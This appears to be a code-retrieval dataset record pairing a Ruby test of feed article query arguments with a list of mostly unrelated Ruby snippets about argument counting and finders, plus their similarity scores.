"def test_no_arg_case\n assert_equal \"wrong number of arguments (given 1, expected 0)\",\n @subject.recreate(Signature.new(\n positional_params: Params.new(all: []),\n positional_args: [1],\n keyword_params: Params.new(all: []),\n keyword_args: {}\n ))\n assert_equal \"wrong number of arguments (given 2, expected 0)\",\n @subject.recreate(Signature.new(\n positional_params: Params.new(all: []),\n positional_args: [1, 2],\n keyword_params: Params.new(all: []),\n keyword_args: {}\n ))\n end",
"def test_one_ints\n args = Arguments.new\n assert_equal false, args.check_args([1])\n end",
"def test_two_proper_args\n assert check_args([1, 1])\n end",
"def variableNumberOfArguments (*test)\n puts \"Number of parameters #{test.length}\"\n for i in test\n puts \"The parameters are #{i}\"\n end\n end",
"def how_many_args (*input)\n input.count\n end",
"def test_find_matches\n @fdb = setup\n @list = @fdb.find_matches(\"Ch\")\n assert(@list.length >= 2, \"Expected at least 2 entries to be found, didn't get that much\")\n end",
"def test_find_articles_for_user_args_with_feed\n feed = UserFeed.find(8) #Digg\n args = VwArticlesForUser.find_articles_for_user_args(false, feed, :feed, 3, nil, nil)\n assert args[:select] == \"DISTINCT id, title, link, description, content, unread,user_article_id, rating\"\n assert args[:conditions] == [\"feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)\", 8, 3]\n assert args[:order] == \"pub_date DESC\"\n assert args[:limit].blank?\n assert args[:offset].blank?\n end",
"def how_many_args *args\n args.length\nend",
"def test_count\n programs = Program.where(name: \"BioInformatics\", university: [ address: [ country: \"US\" ]]).all\n assert programs.length == Program.where(name: \"BioInformatics\", university: [ address: [ country: \"US\" ]]).count\n\n assert 9 == Program.where.count\n end",
"def test_stories_find_upcoming\n assert_not_nil @rdigg.stories.find_upcoming(:count => 3)\n end",
"def test_stories_find_upcoming_diggs\n assert_not_nil @rdigg.stories.find_upcoming_diggs(:count => 3)\n end",
"def test_check_args_valid\n args = CheckArgs.new\n assert_equal true, args.check_args([-5, 2, 3])\n end",
"def test_find_fake_rubies_nonzero\r\n\t\tassert_includes 0..@t.max_fake_rubies, @t.find_fake_rubies\r\n\tend",
"def test_check_args_invalid_zero\n args = CheckArgs.new\n assert_equal false, args.check_args([2, 0, 0])\n end",
"def test_two_ints\n args = Arguments.new\n assert_equal false, args.check_args([1, 2])\n end",
"def test_generate_should_take_no_arguments\n assert_equal(0, cli_class.instance_method(:generate).arity)\n end",
"def instance_positional_args_counter\n @instance_positional_args_counter || 0\n end",
"def search(args)\n raise NotImplementedError, \"Not implemented\"\n end",
"def test_count\n sparql = SparqlTest.handle\n (1..100).each do |i|\n sparql.insert([ SparqlTest.urn( __method__ ), 'me:num', i ])\n end\n check = sparql.count([ SparqlTest.urn( __method__ ), 'me:num', :o ])\n sparql.empty( :all )\n assert_equal( 100, check )\n end",
"def args()\n #This is a stub, used for indexing\n end",
"def arg_size; end",
"def test_find_by_conjunction_AND\n @users = User.find_by :name => 'david', :age => 44\n assert_equal 2, @users.count\n end",
"def how_many_args *args\n args.length\n # accepts any number of arguments without complaint\n # returns the total number of arguments passed to the function\n # Hint: google ruby *args\nend",
"def test_args_check_greater\n\t\targs_checker = ArgsChecker::new\n\t\tarr = [2, 4]\n\t\tassert_raises(\"I need one number bud, try again\") { args_checker.check_args arr }\n\tend",
"def test_negative\r\n args = Args.new\r\n assert_equal false, args.check_args(\"hello\")\r\n end",
"def test_stories_find_top\n assert_not_nil @rdigg.stories.find_top(:count => 3)\n end",
"def check_arguments(exp_num, args, cond=nil)\n cond = Proc.new{|n| !n.nil?} if cond.nil?\n return exp_num == args.select{|n| cond.call(n)}.size\n end",
"def test_find_limit\n assert_equal(2, @coll.find().limit(2).length())\n end",
"def find_articles(*args)\n (1..@how_many).each { |n| Article.create(:name => n, :author_id => 1) }\n results = Article.find(*args)\n if results.size > results.page_size\n page_count, num_on_last_page = how_many.divmod(results.page_size)\n page_count = page_count + 1 if num_on_last_page > 0\n else\n page_count = 1\n end\n if (page_count != results.page_count)\n raise \"Expected #{page_count} pages but there were #{results.page_count}\"\n end\n yield results if block_given?\n results\n end",
"def how_many_args(*arg)\n arg.length\nend",
"def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end",
"def verify_search_arguments(options)\n if options.nil? || options.empty?\n return ARGUMENT_ERROR\n end\n if options[:org].nil?\n return ARGUMENT_NOT_VALID\n end\n\n if options[:obj_name].nil? || options[:obj_id].nil?\n return ARGUMENT_NOT_VALID\n end\n if !options[:obj_id].nil? && (@obj = MetaData.active.find(options[:obj_id])).nil?\n return OBJ_NOT_FOUND\n elsif !options[:obj_name].nil? && (@obj = MetaData.active.by_name(options[:org], options[:obj_name])).nil?\n return OBJ_NOT_FOUND\n end\n if (@fields = MetaDataField.all_fields.by_id(@obj.obj_id)).nil?\n return FIELD_NOT_FOUND\n end\n return OK\n end",
"def test_nonzero_arguments\n args_checker = ArgsChecker.new\n arr = [1]\n assert_equal false, args_checker.check_mode(arr)\n end",
"def search(*args)\n end",
"def acceptable_argument_count\n parameters = @object.method(@method).parameters\n min_args = parameters.select{ |arg| arg[0] == :req }.count\n if parameters.any? { |arg| arg[0] == :rest }\n max_args = Float::INFINITY\n else\n max_args = parameters.count\n end\n (min_args..max_args)\n end",
"def size=(_arg0); end",
"def size=(_arg0); end",
"def test_args_check_nil\n\t\targs_checker = ArgsChecker::new\n\t\tarr = nil\n\t\tassert_raises(\"I need one number bud, try again\") { args_checker.check_args arr }\n\tend",
"def test_search_by_author\n assert_equal 1, Book.search_by_author(\"Jed\").size, \"1 Book listed by Jed\"\n assert_equal 2, Book.search_by_author(\"e\").size, \"2 Books listed by with an e in the author\"\n assert_equal 3, Book.search_by_author(\"\").size, \"Blank returns all 3 books\"\n assert_equal 3, Book.search_by_author(nil).size, \"Blank returns all 3 books\"\n assert_equal 0, Book.search_by_author(\"J.R.R Tolkien\").size, \"No Tolkien books expected\"\n end",
"def test_0600_count\n @@log.debug \"test_0600_count starts\" if @@log.debug?\n assert_respond_to(@list, :count, \"test_0600_count_respond\")\n # Count of all items in the collection\n assert(@list.count == 4, \"test_0600_count_count\")\n # Count of a single present object\n assert(@list.count(@bsb) == 1, \"test_0600_count_oneobj_1\")\n # Count of a non-present object\n assert(@list.count(42) == 0, \"test_0600_count_oneobj_2\")\n # Count of all objects for which the block returns \n result = @list.count {|obj| obj.ndata > 2}\n assert(result == 2, \"test_0600_count_trueres\")\n @@log.debug \"test_0600_count ends\" if @@log.debug?\n end",
"def wrong_num_parameters?\n (ARGV.size != 1)\n end",
"def run(args)\n verbose_ary, count_ary = args[1..-1].partition {|item| item =~ /full/i}\n verbose = !verbose_ary.empty?\n\n if count_ary.size > 1\n errmsg \"Expecting only at most one parameter other than 'full'\"\n return\n end\n \n if 1 == count_ary.size\n begin\n count = Integer(count_ary[0])\n rescue\n errmsg \"Expecting count to be an integer; got #{count_ary[0]}\"\n return\n end\n elsif 0 == count_ary.size\n count = proc.stack_size\n else\n errmsg \"Wrong number of parameters. Expecting at most 2.\"\n return\n end\n\n @proc.print_stack_trace(@proc.top_frame, \n {:verbose => verbose, :count => count})\n end",
"def findEmptyPosition _obj, _args\n \"_obj findEmptyPosition _args;\" \n end",
"def argc! count, syntax = nil\n @params = @params_str.split(/\\s/, count)\n\n return true if @params.length >= count\n\n if syntax\n raise \"At least #{count} parameters required: #{syntax}\"\n else\n raise \"At least #{count} parameters required.\"\n end\n end",
"def invalid_arguments?(arguments, count)\n\t\targuments.length != count\n\tend",
"def count **args\n\t\tquery( **( { projection: 'COUNT(*)' }.merge args )).execute(reduce: true){|x| x[:\"COUNT(*)\"]}\n end"
] |
[
"0.6233466",
"0.6064041",
"0.60208136",
"0.59895474",
"0.5964296",
"0.5853693",
"0.5852976",
"0.5827197",
"0.5819177",
"0.5819115",
"0.581673",
"0.5810822",
"0.5810556",
"0.5779797",
"0.577442",
"0.57544684",
"0.5750544",
"0.57358986",
"0.57112926",
"0.57071894",
"0.5704918",
"0.5692642",
"0.5680401",
"0.56410354",
"0.5604963",
"0.55760634",
"0.5569122",
"0.55553454",
"0.55528754",
"0.55399334",
"0.5535074",
"0.5530592",
"0.5527294",
"0.5521952",
"0.5516292",
"0.5507651",
"0.54906243",
"0.54841787",
"0.5472374",
"0.54694754",
"0.5458259",
"0.5447805",
"0.54474473",
"0.5446909",
"0.54355437",
"0.5425954",
"0.5424178",
"0.5419208",
"0.54157275",
"0.5415684",
"0.54129475",
"0.5410491",
"0.54085517",
"0.54023",
"0.53980106",
"0.53974193",
"0.53891885",
"0.5378838",
"0.53780293",
"0.5377883",
"0.53675264",
"0.5364907",
"0.53595644",
"0.53571767",
"0.5351545",
"0.5348751",
"0.53462386",
"0.53382444",
"0.5334094",
"0.53210956",
"0.53207225",
"0.53201103",
"0.53159195",
"0.53142816",
"0.5312443",
"0.5307192",
"0.5306838",
"0.5303292",
"0.530269",
"0.52965534",
"0.52960396",
"0.5292316",
"0.5291394",
"0.5289483",
"0.5289331",
"0.5287778",
"0.5285744",
"0.5281119",
"0.52753866",
"0.5275203",
"0.5275203",
"0.52723736",
"0.5266886",
"0.52615315",
"0.525866",
"0.5254001",
"0.52512944",
"0.5250953",
"0.5250911",
"0.52444303"
] |
0.62450075
|
0
|
Test the creation of the find args
|
def test_find_articles_for_user_args_with_feed
feed = UserFeed.find(8) #Digg
args = VwArticlesForUser.find_articles_for_user_args(false, feed, :feed, 3, nil, nil)
assert args[:select] == "DISTINCT id, title, link, description, content, unread,user_article_id, rating"
assert args[:conditions] == ["feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)", 8, 3]
assert args[:order] == "pub_date DESC"
assert args[:limit].blank?
assert args[:offset].blank?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find(args, mode); end",
"def find(*args, **options, &optional_filter_block)\n LOG.info(\"Capybara find #{args.join(' ')}\")\n super\n end",
"def search(args)\n raise NotImplementedError, \"Not implemented\"\n end",
"def search(*args)\n end",
"def find(input)\n end",
"def find; end",
"def find options = {}\n init_specification options, CANONICAL_OPTIONS do\n finish_specification_initialization \n end\n return Aquarium::Finders::FinderResult.new if nothing_to_find?\n types_and_objects = input_types + input_objects\n method_names_or_regexps = input_methods\n if method_names_or_regexps.empty?\n not_matched = {}\n types_and_objects.each {|t| not_matched[t] = []}\n return Aquarium::Finders::FinderResult.new(:not_matched => not_matched)\n end\n result = do_find_all_by types_and_objects, method_names_or_regexps\n unless (input_exclude_methods.nil? or input_exclude_methods.empty?)\n result -= do_find_all_by types_and_objects, input_exclude_methods\n end\n result\n end",
"def find(*args)\n ids = args.__find_args__\n raise_invalid if ids.any?(&:nil?)\n for_ids(ids).execute_or_raise(ids, args.multi_arged?)\n end",
"def findCover _obj, _args\n \"_obj findCover _args;\" \n end",
"def test_find_player_found\n new_team = Team.new(\"Kerbals\", [\"Jeb\", \"Bob\", \"Bill\", \"Val\"], \"Gene\")\n search = new_team.find_player(\"Bob\")\n assert_equal(true, search)\n end",
"def __find_args__\n self\n end",
"def find(*args)\n select(*args)\n\n=begin\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n case args.first\n when :all then find_every options\n when :first then find_initial options\n else find_from_ids args, options\n end\n\n=end\n\n end",
"def find options = {}\n init_specification options, CANONICAL_OPTIONS do \n finish_specification_initialization\n end\n result = do_find_pointcuts unless noop\n unset_specification\n result \n end",
"def find_by()\n\n end",
"def finder_methods=(_arg0); end",
"def test_general_infos_search_4\n searchArg=Hash.new\n searchArg[\"first_name\"]=\"Avinash\"\n searchArg[\"first_name_regex\"]=\"Contains\"\n perl_search=GeneralInfo.search searchArg\n assert_not_nil perl_search\n\n searchArg=Hash.new\n searchArg[\"last_name\"]=\"Saxena\"\n searchArg[\"last_name_regex\"]=\"Contains\"\n\n perl_search1=GeneralInfo.search searchArg\n assert_not_nil perl_search1\n # perl_search1=GeneralInfo.search :last_name =>general_infos(:perl_cb)\n assert_equal perl_search,perl_search1\n end",
"def find(method, args = {})\n # make calls to the right method based on the method and the arguments\n self.client.call(operations[method], args)\n end",
"def my_array_finding_method(source, thing_to_find)\n # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend",
"def find(root, params)\n FileSearcher.call(root, params)\nend",
"def test_find_by_title\n assert_equal(@todo1, @list.find_by_title(\"Buy milk\"))\n end",
"def test_finding_paths_4\n find = Finder.new\n arr = []\n arr3 = find.finding_paths(arr)\n assert_equal arr3, []\n end",
"def method_missing(name, *args)\n dyna = DynamicFinder.new(name, *args)\n finder, conditions = dyna.finder, dyna.conditions\n results = find(finder, :conditions => conditions)\n results ? results : dyna.create(self)\n end",
"def test_arg_check_3string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy', 'poopypoop']))\n end",
"def find\n fail NotImplementedError\n end",
"def test_general_infos_search_5\n searchArg=Hash.new\n searchArg[\"phone\"]=\"979\"\n perl_search=GeneralInfo.search searchArg\n assert_not_nil perl_search\n\n searchArg=Hash.new\n searchArg[\"last_name\"]=\"Saxena\"\n searchArg[\"last_name_regex\"]=\"Contains\"\n\n perl_search1=GeneralInfo.search searchArg\n assert_not_nil perl_search1\n # perl_search1=GeneralInfo.search :last_name =>general_infos(:perl_cb)\n assert_equal perl_search,perl_search1\n end",
"def test_galleryphotos_find_by_ids(ids, *args)\n assert_not_nil @rdigg.galleryphotos.find_by_ids(\"7987312,7987350,7987356\")\n end",
"def test_search_simple\n p1 = create_post(:tags => \"tag1\")\n create_post(:tags => \"tag2\", :file => upload_file(\"#{Rails.root}/test/mocks/test/test2.jpg\"))\n create_post(:tags => \"tag3\", :file => upload_file(\"#{Rails.root}/test/mocks/test/test2.jpg\"))\n matches = search_posts(\"tag1\")\n assert_equal(1, matches.size)\n assert_equal(p1.id, matches[0].id)\n end",
"def find(name); end",
"def verify_search_arguments(options)\n if options.nil? || options.empty?\n return ARGUMENT_ERROR\n end\n if options[:org].nil?\n return ARGUMENT_NOT_VALID\n end\n\n if options[:obj_name].nil? || options[:obj_id].nil?\n return ARGUMENT_NOT_VALID\n end\n if !options[:obj_id].nil? && (@obj = MetaData.active.find(options[:obj_id])).nil?\n return OBJ_NOT_FOUND\n elsif !options[:obj_name].nil? && (@obj = MetaData.active.by_name(options[:org], options[:obj_name])).nil?\n return OBJ_NOT_FOUND\n end\n if (@fields = MetaDataField.all_fields.by_id(@obj.obj_id)).nil?\n return FIELD_NOT_FOUND\n end\n return OK\n end",
"def find_with_searchlogic(*args)\n options = args.extract_options!\n options = filter_options_with_searchlogic(options)\n args << options\n find_without_searchlogic(*args)\n end",
"def method_missing(method_id, *arguments)\n if match = /find_(all_by|by)_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n finder = determine_finder(match)\n\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n #Overrride facets to use appropriate attribute name for current locale\n facets.collect! {|attr_name| respond_to?(:globalize_facets) && globalize_facets.include?(attr_name.intern) ? localized_facet(attr_name) : attr_name}\n\n attributes = construct_attributes_from_arguments(facets, arguments)\n\n case extra_options = arguments[facets.size]\n when nil\n options = { :conditions => attributes }\n set_readonly_option!(options)\n ActiveSupport::Deprecation.silence { send(finder, options) }\n\n when Hash\n finder_options = extra_options.merge(:conditions => attributes)\n validate_find_options(finder_options)\n set_readonly_option!(finder_options)\n\n if extra_options[:conditions]\n with_scope(:find => { :conditions => extra_options[:conditions] }) do\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n else\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n\n else\n raise ArgumentError, \"Unrecognized arguments for #{method_id}: #{extra_options.inspect}\"\n end\n elsif match = /find_or_(initialize|create)_by_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n instantiator = determine_instantiator(match)\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n if arguments[0].is_a?(Hash)\n attributes = arguments[0].with_indifferent_access\n find_attributes = attributes.slice(*facets)\n else\n find_attributes = attributes = construct_attributes_from_arguments(facets, arguments)\n end\n options = { :conditions => find_attributes }\n set_readonly_option!(options)\n\n find_initial(options) || send(instantiator, attributes)\n else\n super\n end\n end",
"def find(dirs); end",
"def simple_find(*args, &blk)\n find(:__no_pretty_finder__, nil, *args, &blk)\n end",
"def test_general_infos_search_6\n searchArg=Hash.new\n searchArg[\"phone\"]=\"979\"\n searchArg[\"first_name_regex\"]=\"Contains\"\n perl_search=GeneralInfo.search searchArg\n assert_not_nil perl_search\n\n searchArg=Hash.new\n searchArg[\"phone\"]=\"828\"\n perl_search1=GeneralInfo.search searchArg\n assert_not_nil perl_search1\n\n assert_equal perl_search,perl_search1\n end",
"def test_search_data_repo\n with_search_testdata do |dsttree|\n # fake minimal search request from file1 deployed to /my/docs/repo1\n uri = \"http://www.example.com/search?calling-url=http://www.example.com/file_1.html&search-assets-top-rel=./gibsearch_assets&search-phrase=hejsan\"\n sp = SearchParameters.from_uri(uri, uri_mappings: {\"/\" => dsttree.pathname})\n repo = SearchDataRepo.new(sp.assets_fs_path)\n\n sec = repo.in_section(\"file1.adoc\", 1)\n assert_equal(\"File 1\", sec[:title])\n\n sec = repo.in_section(\"file1.adoc\", 2)\n assert_equal(\"File 1\", sec[:title])\n\n sec = repo.in_section(\"file1.adoc\", 6)\n assert_equal(\"Paragraph 1\", sec[:title])\n\n sec = repo.in_section(\"file1.adoc\", 75)\n assert_equal(\"Sub section 2\", sec[:title])\n end\n end",
"def test_run_method\n return\n s = SearchQueryParser.build_ferret_query(\"T\")\n s = SearchQueryParser.build_ferret_query(\"\")\n assert true\n end",
"def initialize(method, *args)\n @finder, @args = :first, args\n case method.to_s\n when FINDER\n @finder = :all if $1 == \"all_by\"\n @finder = :last if $1 == \"last_by\"\n names = $2\n when CREATOR then\n @creator = ($1 == \"initialize\") ? :instantiate : :create\n names = $2\n else\n @finder = nil\n end\n @attributes = names && names.split(\"_and_\")\n generate_conditions\n end",
"def find(*args)\n #self.class.new(layout, data, (queries.dup << args))\n wrap_data(data, (queries.dup << args))\n end",
"def test_ability_to_use_with_custom_finders\n # acts_as_taggable defines find_tagged_with(tag, options)\n Topic.expects(:find_tagged_with).with('will_paginate', :offset => 5, :limit => 5).returns([])\n Topic.expects(:count).with({}).returns(0)\n \n Topic.paginate_tagged_with 'will_paginate', :page => 2, :per_page => 5\n end",
"def test_find\n assert_not_nil @rdigg.user.find(\"kevinrose\")\n end",
"def findopts\n [{ option: :atime,\n flag: '-atime',\n value: 'n[smhdw]',\n validate: validate_time,\n description: 'Access time.'\n },\n { option: :depth,\n flag: '-depth',\n value: 'n',\n validate: validate_number,\n description: 'Depth relative to the starting point.'\n },\n { option: :iname,\n flag: '-iname',\n value: '[pattern]',\n description: 'Path matches pattern (case insensitive).'\n },\n { option: :ipath,\n flag: '-ipath',\n value: '[pattern]',\n description: 'Path matches pattern (case insensitive).'\n },\n { option: :maxdepth,\n flag: '-maxdepth',\n value: 'n',\n validate: validate_nonnegative,\n description: 'Descend at most n directory levels.'\n },\n { option: :mindepth,\n flag: '-mindepth',\n value: 'n',\n validate: validate_nonnegative,\n description: 'Descend at least n directory levels.'\n },\n { option: :minsize,\n flag: '-minsize',\n value: 'n',\n validate: validate_unsigned_numeric,\n description: 'Prunes find expression to objects of a minimum size.'\n },\n { option: :mindsize,\n flag: '-mindirsize',\n value: 'n',\n validate: validate_unsigned_numeric,\n description: 'Prunes find expression to directories of a minimum size.'\n },\n { option: :mtime,\n flag: '-mtime',\n value: 'n[smhdw]',\n validate: validate_time,\n description: 'Modification time.'\n },\n { option: :name,\n flag: '-name',\n value: '[pattern]',\n description: 'Name (last component of the path) matches pattern.'\n },\n { option: :path,\n flag: '-path',\n value: '[pattern]',\n description: 'Path matches pattern.'\n },\n { option: :print,\n flag: '-print',\n description: 'Print the pathname.'\n },\n { option: :ls,\n flag: '-ls',\n description: 'Print ls-style information.'\n },\n { option: :size,\n flag: '-size',\n value: 'n[ckMGTP]',\n validate: validate_numeric,\n description: 'File size.'\n }\n ]\n end",
"def find_object_method(goal)\n wrap_method(\"find_#{goal.s}\", [\"setup_enclosing_resources\", finder_string(goal, \"id\")] + goal.nested_resources.map { |k,v| new_object_string(v)})\n end",
"def where(*args)\n #self.class.new(layout, layout.find(*args), args)\n get_results(:find, args)\n end",
"def test_find\n setup_test_tree\n found_node = @root.find { |node| node == @child2}\n assert_same(@child2, found_node, \"The node should be Child 2\")\n\n found_node = @root.find { |node| node == @child4}\n assert_same(@child4, found_node, \"The node should be Child 4\")\n\n found_node = @root.find { |node| node.name == \"Child4\" }\n assert_same(@child4, found_node, \"The node should be Child 4\")\n found_node = @root.find { |node| node.name == \"NOT PRESENT\" }\n assert_nil(found_node, \"The node should not be found\")\n end",
"def test_find_matches\n @fdb = setup\n @list = @fdb.find_matches(\"Ch\")\n assert(@list.length >= 2, \"Expected at least 2 entries to be found, didn't get that much\")\n end",
"def test_find_by_conjunction_AND\n @users = User.find_by :name => 'david', :age => 44\n assert_equal 2, @users.count\n end",
"def test_arg_check_2string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy']))\n end",
"def assert_find_all(cls, check_method, repo, user)\n repo_method = cls.resource_name(:plural)\n \n item1 = cls.find_all(user.login, repo.name).first\n item2 = cls.find_all(repo).first\n item3 = repo.send(repo_method).first\n \n assert_equal item1.send(check_method), item2.send(check_method)\n assert_equal item1.send(check_method), item3.send(check_method)\n end",
"def method_missing(m,*args)\n #find_by_name(\"John\") returns first YamlContentBase object that matches\n if m.to_s.index(\"find_by\") == 0\n attribute = m.to_s.gsub(\"find_by_\",\"\")\n return self.detect{|x| x.send(attribute) == args[0]}\n #find_all_by_name(\"John\") returns array of YamlContentBase objects that match\n elsif m.to_s.index(\"find_all_by\") == 0\n attribute = m.to_s.gsub(\"find_all_by_\",\"\")\n return self.select{|x| x.send(attribute) == args[0]}\n end\n raise \"'#{m}' is not a method\"\n end",
"def test_arg_check_oneArg\n \t@args = ArgumentCheck.new\n \tassert_equal(true, @args.arg_check([1]))\n end",
"def test_found_returns_false_for_commands_not_found_in_path\n Crd::Flex::Command.new 'madeupcommandname' do |s|\n assert_equal( false, s.found? )\n end\n end",
"def find(args)\n page = page_files.select {|pf| File.basename(pf) =~ /#{args}/i }.map {|pf| new(pf)}\n page = page.first\n end",
"def search(target)\n end",
"def test_search\n mock_town = Minitest::Mock.new('Town')\n def mock_town.mine; [0, 0]; end\n\n def mock_town.return_name; 'Name'; end\n\n p1 = Prospector::new mock_town\n test_i = p1.search\n assert_equal test_i, -1\n end",
"def findEditorObject _obj, _args\n \"_obj findEditorObject _args;\" \n end",
"def find_many(opts)\n ::Kernel.raise Errors::NotImplemented\n end",
"def findEmptyPositionReady _obj, _args\n \"_obj findEmptyPositionReady _args;\" \n end",
"def find(path); end",
"def find(path); end",
"def test_arg_check_prospectors_valid\n ret = arg_check_prospectors '1'\n assert_equal ret, 0\n end",
"def args()\n #This is a stub, used for indexing\n end",
"def findDisplay _args\n \"findDisplay _args;\" \n end",
"def search(find_val)\n false\n end",
"def recursive_search(args)\n name = args.shift\n cmd = find { |c| c.name == name }\n return cmd, args unless cmd&.parent? && cmd.children.find { |c| c.name == args[0] }\n\n # the command exists &&\n # the command has sub command &&\n # argument matches sub command name\n # -> should search more\n cmd.children.recursive_search(args)\n end",
"def test_autocomplete_searches\n do_find_all\n do_autocomplete_query\n end",
"def test_files\n `touch ../harness/test/foo ../harness/test/bar`\n f = @td.files\n assert_equal(2, f.length)\n assert(f.find \"foo\")\n assert(f.find \"bar\")\n end",
"def find(path, type, setting); end",
"def find_child(method, *args); end",
"def find(query); end",
"def find(query); end",
"def findEmptyPosition _obj, _args\n \"_obj findEmptyPosition _args;\" \n end",
"def test_search_repo\n \tfake_instance = Dummy.new\n \t#stubbing call to search_repositories\n\n \tclass << fake_instance.client\n \t\tdef search_repositories(query, params)\n \t\t\treturn DummySearchRepositories.new (query)\n \t\tend\n \tend\n\n \tassert fake_instance.search_repo('Hello World') != { :err => 'No results found' }\n \tassert fake_instance.search_repo('Anything Else') == { :err => 'No results found' }\n end",
"def pattern_find_with_conditions_and_params_or_limit\n <<-EOT\n SendWithArguments<\n arguments = ActualArguments<\n array = [\n any+,\n HashLiteral<\n array = [\n any{even},\n SymbolLiteral<value = :limit | :conditions>,\n SendWithArguments<\n name = :[],\n receiver = Send<name = :params | :session>\n >,\n any{even}\n ]\n >\n ]\n >,\n name = :find>\n EOT\n end",
"def test_player_search\n team = SportsTeam.new(\"Celtic\", [\"Hendrik Larsson\", \"Captain Football\", \"Some Guy\"], \"Mr. Manager\")\n search_result = team.player_search(\"Captain Football\")\n assert_equal(true, search_result)\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n\n # Make an argument for the type of search: either include or don't include\n chs = OpenStudio::StringVector.new\n chs << \"include\"\n chs << \"don't include\"\n match_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('match_type', chs, true)\n match_type.setDisplayName(\"Affect only thermal zones that include/don't include the searched string\")\n args << match_type\n\n # Make an argument for your searched string\n search_str = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"search_str\",true)\n search_str.setDisplayName(\"Type the searched string you want search for in thermal zone names\")\n search_str.setDescription(\"Case insensitive. For example, type 'retail' to apply to thermal zones names that have the word 'retail' or 'RETAIL' in their name.\")\n args << search_str\n\n # Make an argument for suffix to add to thermal zone name\n suffix_str = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"suffix_str\",true)\n suffix_str.setDisplayName(\"Type the suffix you want to add to the thermal zone names\")\n args << suffix_str\n return args\n end",
"def quick_find(how, what)\n QuickFind.new(self, how, what, parent_widget, window_id, :quickfind)\n end",
"def test_find_fake_rubies_zero\r\n\t\tassert_equal 0, @t2.find_fake_rubies\r\n\tend",
"def search_command\n name = get_param(\"name=\", \"([a-zA-Z]+)\")\n\n if name\n @app.search name\n else\n puts \"Error!: A name is required to search an animal\"\n search_command_help()\n end\n end",
"def find(conditions)\n self.request.new(self.seed, conditions)\n end",
"def find(*args)\n find_all(*args).first\n end",
"def test_search\n fortunes = LinuxFortune.search('develop', ['chucknorris'])\n assert fortunes.is_a?(Array)\n assert fortunes.size > 0\n fortunes.each do |fortune|\n assert fortune.is_a?(LinuxFortune::Fortune)\n assert fortune.source.include?('chucknorris')\n end\n end",
"def search(options)\n tm = TicketMaster.new(options[:provider], options[:authentication])\n projects = tm.projects(options[:project_attributes])\n puts \"Found #{projects.length} projects\"\n projects.each_with_index do |project, index|\n puts \"#{index+1}) Project #{project.name} (#{project.id})\"\n #read_project project\n #puts\n end\n exit\nend",
"def find_or_create(owner_class, *args, &block); end",
"def test_users_find_users_diggs\n assert_not_nil @rdigg.users.find_users_diggs(\"kevinrose,punkrockscks\")\n end",
"def tests=(_arg0); end",
"def tests=(_arg0); end",
"def test_dynamic_finders_with_scope\n User.current = users(:user_1)\n assert_equal things(:thing_1), Thing.find_by_name('Thing 1')\n end",
"def exists(*args); end",
"def test_count_find_articles_for_user_args_with_feed\n feed = UserFeed.find(5) #New York Times\n args = VwArticlesForUser.find_articles_for_user_args(true, feed, :feed, 3, nil, nil)\n assert args[:select] == \"DISTINCT id\"\n assert args[:conditions] == [\"feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)\", 4, 3]\n assert args[:order] == \"pub_date DESC\"\n assert args[:limit].blank?\n assert args[:offset].blank?\n end",
"def vest _args\n \"vest _args;\" \n end",
"def find_by(args)\n self.find{|el| !args.map{|a,b| el.send(a) == b }.include?(false)}\n end",
"def find(any_verb_form)\n end",
"def find(value)\n end",
"def test_galleryphoto_find\n assert_not_nil @rdigg.galleryphoto.find(\"7987168\")\n end",
"def search_input(passthrough)\t\t\n\tcase passthrough\n\t\twhen \"mv\"\n\t\t\tputs `man mv`\n\t\twhen \"cp\"\n\t\t\tputs `man cp`\n\t\twhen \"mkdir\"\n\t\t\tputs `man mkdir`\n\t\twhen \"ls\"\n\t\t\tputs `man ls`\n\t\twhen \"rm\"\n\t\t\tputs `man rm`\n\t\telse\t\n\t\t\tputs \"Not a valid search term. Common search terms are: 'mv', 'cp', 'mkdir', 'ls', 'rm'.\"\n\t\tsearch\n\tend\n\tmenu\nend",
"def test_find_movie_title_already_exists\n movies = Movies.new(@movies)\n result = movies.find_movie('Titanic')\n assert_equal(true, result)\n end",
"def test_arg_check_seed_valid\n ret = arg_check_seed '1'\n assert_equal ret, 0\n end",
"def search(*args)\n search_internal([\"SEARCH\"], *args)\n end",
"def test_positive\r\n args = Args.new\r\n assert_equal false, args.check_args(6)\r\n end",
"def search; end"
] |
[
"0.7359585",
"0.63324624",
"0.6324831",
"0.6148019",
"0.6129577",
"0.6037184",
"0.5972356",
"0.593886",
"0.5832144",
"0.5820041",
"0.5819185",
"0.581424",
"0.579393",
"0.57616323",
"0.57462543",
"0.57260907",
"0.566965",
"0.56670856",
"0.56310946",
"0.56155074",
"0.55991983",
"0.5581848",
"0.55772334",
"0.5573192",
"0.55613136",
"0.55590945",
"0.55563486",
"0.55242723",
"0.55146295",
"0.55116034",
"0.5496561",
"0.5495551",
"0.5493404",
"0.5483409",
"0.54832476",
"0.5479683",
"0.5472562",
"0.5462058",
"0.54541487",
"0.54481256",
"0.5441619",
"0.54271835",
"0.54210067",
"0.5418764",
"0.54110295",
"0.54096466",
"0.54059964",
"0.5405336",
"0.5392492",
"0.5381009",
"0.53699017",
"0.5366272",
"0.536617",
"0.53558534",
"0.535532",
"0.5350561",
"0.5330506",
"0.53257257",
"0.53257257",
"0.53214425",
"0.5303945",
"0.53036934",
"0.5298351",
"0.5290815",
"0.52872235",
"0.5275819",
"0.5271891",
"0.5268907",
"0.5268404",
